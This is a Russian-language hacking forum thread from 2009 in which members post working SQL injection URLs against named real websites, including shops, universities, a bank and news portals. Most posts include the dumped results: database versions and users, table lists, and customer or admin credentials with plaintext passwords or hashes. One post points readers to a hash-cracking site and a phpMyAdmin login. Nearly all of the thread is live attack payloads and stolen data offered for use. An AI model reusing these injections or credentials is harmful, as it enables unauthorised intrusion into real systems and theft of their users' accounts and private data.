SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    http://shop.solarstone.co.uk/products.php?cat_id=-37+union+select+1,2,3,4,5,group_concat(concat_ws(0x3a,email,passwd))+from+solarsto_shop.customers--
    Code:
    [email protected]:clevercherry
    [email protected]:mow321m!
    [email protected]:mow321m!
    [email protected]:crittur17
    [email protected]:oakenfold
    [email protected]:0be7xzja
    http://baltija.eu/news_print.php?ntpl=2&print_id=-600+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8--
    Code:
    4.1.22-standard:gjdrp_portal:gjdrp_portal@localhost
    
    http://baltija.eu/news_print.php?ntpl=2&print_id=-600+union+select+group_concat(concat_ws(0x3a,login,pass)),2,3,4,5,6,7,8+from+users--
    
    sergey2:qweqwe
    bratello555:pass
    report:qweqwe
    bratello55:pass
    bratello55:wertery2
    
    http://www.abdn.ac.uk/r&i/support/print.php?id=-75+union+select+1,version(),3,4,5,6,7,8,database(),10,11,12,user(),14--
    Code:
    [email protected]
    5.0.37-community-log
    woi001_fund
    
    http://www.articlesfree.co.uk/article.php?id=-24789+union+select+1,2,3,4,user(),database(),version(),8,9,10,11,12,13,14,15,16,17--&act=print
    Code:
    ukart01_adrian@localhost
    5.0.67-community
    ukart01_ukart
    
    http://www.articlesfree.co.uk/article.php?id=-24789+union+select+1,2,3,4,group_concat(concat_ws(0x3a,adminid,password)),6,7,8,9,10,11,12,13,14,15,16,17+from+dbs_admin--&act=print
    
    admin:6ecef1648de55c0ad4e1dbc87116ea6c
    
     
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 3

    http://www.classic-zone.de/modding.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user ())--

    4.1.22-max-log:v128336:v128336@localhost

    ########################################

    http://www.admintalk.de/viewtips.php?id= 1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18,19,20,21--

    5.0.32-Debian_7etch10-log:admintalk:Jann@localhost

    куча таблов , выложу кусок:

    http://www.admintalk.de/viewtips.php?id=1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables+group+by+table_schema+limit+2,1--

    atalk_tips,atalk_programme_os,atalk_programme_images,pot_user_agents,pot_hostnames,pot_accesslog,atalk_programme_subcategory,atalk_programme_language,pot_visitors,atalk_bezug_os,pot_operating_systems,pot_add_data,atalk_statistics_referrer,atalk_programme_licence,atalk_bezug_sprache,pot_referers,pot_documents,atalk_system_users,atalk_progra

    (смареть все таблы через лимит)

    взял таблу atalk_system_users:

    http://www.admintalk.de/viewtips.php?id=1+union+select+1,group_concat(concat_ws(0x3a,name,username,email,password)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+atalk_system_users--

    shadowsnake:admin:[email protected]:5840876be50d030815db1a392977205e,test6:test:[email protected]:098f6bcd4621d373cade4e832627b4f6,Stefan:tty1:[email protected]:fec0d60207dd5987e630ab4f6e47ba92,Burim:suwan:[email protected]:6b9260b1e02041a665d4e4a5117cfe16,Philipp:philipp:p[email protected]:0e219cdc17c98d1f693492dfeabcbdcd


    P.S какие то хеши есть в БД http://passcrackin g.ru/inde x.php так что вперед, тока у меня не получилось коннект в админку ))
     
    _________________________
    #9242 HAXTA4OK, 11 May 2009
    Last edited: 11 May 2009
  3. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    www.khatece.com Харьковский театральный центр

    http://www.khatece.com/html/press/news/new.php?id=-28+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7
    Таблички:
    http://www.khatece.com/html/press/news/new.php?id=-28+union+select+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables+group+by+table_schema+limit+1,1
     
  4. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    http://www.britisharticledirectory.co.uk/article.php?id=-545+union+select+1,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--&act=print
    Code:
    4.1.22-standard:britisha_ad:britisha_ad@localhost
    http://www.clubgb.co.uk/darts/teams/player-stats-print.php?ID=18&ID2=43&ID3=0&ID1=-33+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,10,11,12,13,14,15,16,17--
    Code:
    4.1.21-standard:clubgb:[email protected]
     
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ТИЦ: 10
    PR: 4

    http://www.levgroup.am/rus/index.php?sec=photo&id=-1+union+sel ect+1,concat_ws(0x3a,version(),database (),user()),3,4,5,6,7--

    5.0.67-community-log:levgroup_db:levgroup_db@localhost

    tables: photo,home,photo_parent,images,about,users,news,apload_images,other,create_photo

    columns-users:

    id,username,password,lastname,firstname,email

    admin: 1:AL31d4H7:0562a1064bd7a70ffe5e5b6934e2c627 :(??

    ##########################################
    PR: 4

    http://www.parle.am/index.php? p=7&l=arm&s=3&id=-1+union+select+1, concat_ws(0x3a,version(),data base(),user()),3,4,5--

    5.0.67-community:parleam_db:parleam_user@localhost

    tables:catalogue,groups,category,pprice,content,printing,gallery,struct,ggroups
     
    _________________________
    #9245 HAXTA4OK, 11 May 2009
    Last edited: 11 May 2009
    1 person likes this.
  6. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    Универ Зимбабы))
    http://www.uz.ac.zw/jobs/details.php?id=-385+union+select+1,2,3,4,5,6,table_name,8+from+information_schema.tables+limit+145,1000--

    work_student
    userinfo_def
    userinfo_content
    lp_user_module_progress
    group_rel_team_user
    bb_users
    bb_rel_topic_userstonotify
    user_sessions
     
    1 person likes this.
  7. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.emsa2008.org {PR 3}
    Code:
    http://www.emsa2008.org/index.php?id=-1+union+all+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6--
    5.0.51a-24 : emsa2008 : emsa2008@localhost

    Code:
    http://www.emsa2008.org/index.php?id=-1+union+all+select+1,2,group_concat(login,0x3a,pass),4,5,6+from+users--
    login : emsa2008
    pass : cemsa2008fpm

    http://www.emsa2008.org/phpmyadmin
     
  8. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.aioug.org/eventdetails.php?id=-5+union+select+1,group_concat(uname,char(58),pass,char(58),level,char(58),web

    site),3,4,5,6,7,8,9,10,11,12+from+users--

    newadmin:newadmin:admin:
    info_desh:ssssss:user:
    parthiban:kalaidream:user:
    satyendra:pvnmurty:user:
    rejurajeev:reju123:user:
     
  9. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.braintumorfoundation.org/eventdetails.php?ID=-11+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+16,100+--+

    btfforum1101,cont,events,faq,forumbu,forumbu2,forumbu3,news,pstory,btfforum1101,cont,events,faq,forumbu,

    http://capla.arizona.edu/events/eventdetails.php?id=-66+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10+from+information_schema.columns+where+table_name=0x7573657273+/*+
     
    #9249 DezMond™, 11 May 2009
    Last edited: 11 May 2009
  10. Kimliksiz

    Kimliksiz Member

    Joined:
    7 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    11
    http://www.sindadvogados-rj.com.br/SuperNews/valor.php?noticia=-1+union+select+0,1,2,user,pass,5+from+login--


    admin

    --------------------------------------------------------------------------------

    00/00/0000 - 00h00min

    --------------------------------------------------------------------------------


    http://www.diamantinaonline.com.br/anterior/noticias/valor.php?noticia=-1+union+select+0,1,2,user,pass,5+from+login--


    donline

    --------------------------------------------------------------------------------

    //5 - hmin

    --------------------------------------------------------------------------------

    ztotztot


    supernews
     
  11. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.monadgarden.com/andy/paper.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12/*

    Database Version: 4.0.27-standard-log
    Database name: db199351466
    User name: [email protected]
     
  12. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    http://www.4baby.com.ua/index.php?id=-6373+union+select+concat_ws(0x0b,us er(),database(),versi on())


    dbuser@localhost
    ababycom_4baby
    4.1.22-log
     
    2 people like this.
  13. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.catalogs.ohio.edu/preview_entity.php?catoid=4&ent_oid=-199+union+select+1,version(),3,4,5,6,7,8,9/*

    4.1.22-log
     
  14. SecreT

    SecreT New Member

    Joined:
    1 Jan 2007
    Messages:
    3
    Likes Received:
    2
    Reputations:
    3
    http://www.seruven.org/haber.php?id=-1/**/union/**/select/**/0,version(),database(),yazar,4,5%20from%20seruven/*

    [email protected]
    4.0.27-log
     
    1 person likes this.
  15. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.visions.ab.ca/display.php?id=-18+union+select+1,2,3

    Database Version: 5.0.67
    Database name: wordpress_visions_ab_ca
    User name: [email protected]
     
    #9255 Rubaka, 12 May 2009
    Last edited by a moderator: 12 May 2009
  16. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ТИЦ: 100
    PR: 4

    http://www.santo.kz/modules.php?id=-1'+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user())/*

    4.0.18-nt:santo:mysanto@localhost
     
    _________________________
    2 people like this.
  17. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    AS "SMP Bank"
    Code:
    multibankalv:root@localhost:5.0.75
    Code:
    root::localhost
    nagios:*82802C50A7A5CDFDEA2653A1503FC4B8939C4047:ctrl-03.mbint.multibanka.com
    itd-02:*DF4EA3C83AF5CE947137A411CE429A98F48DF5DB:itd-02.mbint.multibanka.com
    pavel:*B7B226482D498A9332C576AFD91B702B57C1069E:localhost
    external-sql:*91C46317B0053BE203105DD885E9B0B73B4E0C43:
    Регламент-Издательский дом
    Code:
    amir:[email protected]:4.0.27-log
     
    3 people like this.
  18. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.firework.kz/longnews.php?id=1+union+select+1,2,3,concat_ws(0x3a,version() ,database(),user())--

    5.0.77-log:firework_pyros:firework_PYr0mAn@localhost

    tables:
    cnt

    data

    menu

    news

    posts

    topics

    users

    до хрена юзеров, но сайт ватный ))

    http://www.firework.kz/longnew s.php?id=1+union+select+1,2,3,concat_ws(0x3a,id,nick,pass,rank,fio, mail,tel)+from+users--

    admin:

     
    _________________________
    1 person likes this.
  19. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.remix07boston.com/articles.php?categid=568828&articid=-568844818+union+select+1,group_concat(strLogin,char(58),strPassword,char(58),AccountType),3,4,5,6+from+tblaccount--
     
    1 person likes this.
  20. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.duelofages.com/history/character.php?ID=1
    phpDOA@localhost:DOA:3.23.58
    Blind...
     
Thread Status:
Not open for further replies.